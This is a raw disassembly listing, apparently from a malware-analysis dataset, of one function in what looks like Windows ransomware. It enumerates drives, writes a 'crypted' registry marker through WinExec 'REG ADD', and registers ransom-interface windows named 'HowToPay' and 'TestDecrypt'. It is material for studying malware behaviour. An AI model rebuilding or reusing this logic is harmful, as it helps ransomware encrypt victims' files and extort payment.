Function at 0x403cd0
Capabilities:
Create process on windows
Get disk information
Hide graphical window
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x443476
mov eax, dword fs:[0]
push eax
sub esp, 0x674
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x570], ebx
call fcn.0041c2d0
call fcn.0041e4e0
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 2
call fcn.00406f30
mov esi, 1
test eax, eax
je 0x403d3c
lea ecx, [esi + 1]
call fcn.00406f30
cmp eax, 2
jne 0x403d4a
mov edx, esi
call fcn.0041df80
mov ecx, esi
call fcn.0041d300
mov ecx, esi
call fcn.00406f30
test eax, eax
je 0x403d65
mov ecx, esi
call fcn.00406f30
cmp eax, 2
jne 0x403fb0
push 0x474
lea eax, [ebp - 0x568]
push 0
push eax
call fcn.00429e30
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
call fcn.0042e0ff
mov dword [ebp - 0x56c], eax
mov esi, 0x1a
mov edx, edi
mov ecx, esi
shr edx, cl
and edx, 1
je 0x403e56
push 0
push 0
sub esp, 0x18
mov dword [ebp - 0x566], 0x3a
mov ecx, esp
mov dword [ebp - 0x574], esp
lea eax, [esi + 0x41]
mov word [ebp - 0x568], ax
xor eax, eax
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push 0x45a160
mov word [ecx], ax
call fcn.004226b0
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0xffffffff
mov edx, 1
lea ecx, [ebp - 0x568]
call fcn.004072b0
add esp, 0x20
xor eax, eax
push 1
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x574], esp
push 0xffffffffffffffff
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push 0x45a160
mov word [ecx], ax
call fcn.004226b0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 0xffffffff
mov edx, 1
lea ecx, [ebp - 0x568]
call fcn.004072b0
add esp, 0x20
dec esi
test esi, esi
jg 0x403d93
call fcn.0042e0ff
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [ebp - 0x56c]
imul ecx
movups xmm0, xmmword [str.REG_ADD__HKEY_CURRENT_USERSOFTWARE___v__crypted___t_REG_SZ__d__1_]
movups xmmword [ebp - 0xf4], xmm0
mov eax, 0x88888889
movups xmm0, xmmword [0x44d578]
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul ecx
movups xmmword [ebp - 0xe4], xmm0
movups xmm0, xmmword [0x44d588]
push 0x8f
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x459678], eax
mov ax, word [0x44d5a8]
mov word [ebp - 0xb4], ax
mov al, byte [0x44d5aa]
movups xmmword [ebp - 0xd4], xmm0
mov byte [ebp - 0xb2], al
lea eax, [ebp - 0xb1]
movups xmm0, xmmword [0x44d598]
push 0
push eax
movups xmmword [ebp - 0xc4], xmm0
call fcn.00429e30
add esp, 0xc
mov dword [ebp - 0x56c], 0
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x4504dc]
movq xmm0, qword [str.IsWow64Process]
mov dword [ebp - 0x18], ecx
mov cx, word [0x4504e0]
mov word [ebp - 0x14], cx
mov cl, byte [0x4504e2]
mov byte [ebp - 0x12], cl
lea ecx, [ebp - 0x20]
push ecx
push eax
movq qword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x403f5b
lea eax, [ebp - 0x56c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 0x56c], 0
je 0x403f91
lea ecx, [ebp - 0xf4]
dec ecx
nop dword [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403f70
mov eax, dword [str.__reg:64]
mov dword [ecx], eax
mov eax, dword [0x44d5b0]
mov dword [ecx + 4], eax
mov al, byte [0x44d5b4]
mov byte [ecx + 8], al
push 0
lea eax, [ebp - 0xf4]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov edx, 2
call fcn.0041df80
mov ebx, dword [ebp - 0x570]
mov ecx, dword [0x45a20c]
call fcn.0041d140
cmp eax, 3
jne 0x403ff3
mov edx, dword [0x45a1c0]
mov esi, edx
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x403fd0
mov edi, 0x45a028
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403fe5
jmp 0x404021
mov edx, dword [0x45a20c]
mov esi, edx
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x404000
mov edi, 0x45a028
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x404015
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00406540
mov edx, 0x459fc0
sub edx, eax
nop dword [eax + eax]
movzx ecx, word [eax]
lea eax, [eax + 2]
mov word [eax + edx - 2], cx
test cx, cx
jne 0x404040
mov esi, dword [sym.imp.USER32.dll_LoadCursorW]
push 0x7f00
push 0
mov dword [ebp - 0x5a4], 0x30
mov dword [ebp - 0x5a0], 0x20b
mov dword [ebp - 0x59c], 0x404420
mov dword [ebp - 0x598], 0
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x590], ebx
mov dword [ebp - 0x58c], 0
call esi
mov ebx, dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0x3b3b00
mov dword [ebp - 0x588], eax
call ebx
mov edi, dword [sym.imp.USER32.dll_RegisterClassExW]
mov dword [ebp - 0x584], eax
lea eax, [ebp - 0x5a4]
push eax
mov dword [ebp - 0x580], 0
mov dword [ebp - 0x57c], 0x44d5b8
mov dword [ebp - 0x578], 0
call edi
test ax, ax
jne 0x4040f3
xor eax, eax
jmp 0x4043fb
mov eax, dword [0x459fb0]
push 0x7f00
push 0
mov dword [ebp - 0x5d4], 0x30
mov dword [ebp - 0x5d0], 0xb
mov dword [ebp - 0x5cc], 0x405120
mov dword [ebp - 0x5c8], 0
mov dword [ebp - 0x5c4], 0
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], 0
call esi
push 0x272700
mov dword [ebp - 0x5b8], eax
call ebx
mov dword [ebp - 0x5b4], eax
lea eax, [ebp - 0x5d4]
push eax
mov dword [ebp - 0x5b0], 0
mov dword [ebp - 0x5ac], str.childList
mov dword [ebp - 0x5a8], 0
call edi
mov eax, dword [0x459fb0]
push 0x7f00
push 0
mov dword [ebp - 0x604], 0x30
mov dword [ebp - 0x600], 0xb
mov dword [ebp - 0x5fc], 0x405750
mov dword [ebp - 0x5f8], 0
mov dword [ebp - 0x5f4], 0
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], 0
call esi
push 0x272700
mov dword [ebp - 0x5e8], eax
call ebx
mov dword [ebp - 0x5e4], eax
lea eax, [ebp - 0x604]
push eax
mov dword [ebp - 0x5e0], 0
mov dword [ebp - 0x5dc], str.childTestDecrypt
mov dword [ebp - 0x5d8], 0
call edi
mov eax, dword [0x459fb0]
push 0x7f00
push 0
mov dword [ebp - 0x634], 0x30
mov dword [ebp - 0x630], 0xb
mov dword [ebp - 0x62c], 0x406040
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x624], 0
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], 0
call esi
push 0x272700
mov dword [ebp - 0x618], eax
call ebx
mov dword [ebp - 0x614], eax
lea eax, [ebp - 0x634]
push eax
mov dword [ebp - 0x610], 0
mov dword [ebp - 0x60c], str.childHowToPay
mov dword [ebp - 0x608], 0
call edi
mov eax, dword [0x459fb0]
push 0x7f00
push 0
mov dword [ebp - 0x664], 0x30
mov dword [ebp - 0x660], 0xb
mov dword [ebp - 0x65c], 0x405e70
mov dword [ebp - 0x658], 0
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], 0
call esi
mov dword [ebp - 0x648], eax
lea eax, [ebp - 0x664]
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], str.TestDecryptAction
mov dword [ebp - 0x638], 0
push eax
call edi
mov ecx, 3
call fcn.00406f30
mov ecx, dword [0x459690]
cmp eax, 1
push 0
push dword [ebp - 0x570]
mov eax, 1
push 0
push 0
push 0x258
push 0x384
push dword [0x45a220]
cmove ecx, eax
push dword [0x45a21c]
mov dword [0x459690], ecx
push 0x80000008
push str.System
push 0x44d5b8
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov edi, eax
test edi, edi
je 0x4040ec
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push edi
call esi
push 0xffffffffffffffec
push edi
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push edi
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 5
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x680]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x4043f5
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop dword [eax]
lea eax, [ebp - 0x680]
push eax
call edi
lea eax, [ebp - 0x680]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x680]
push eax
call esi
test eax, eax
jne 0x4043d0
mov eax, dword [ebp - 0x678]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret 0x10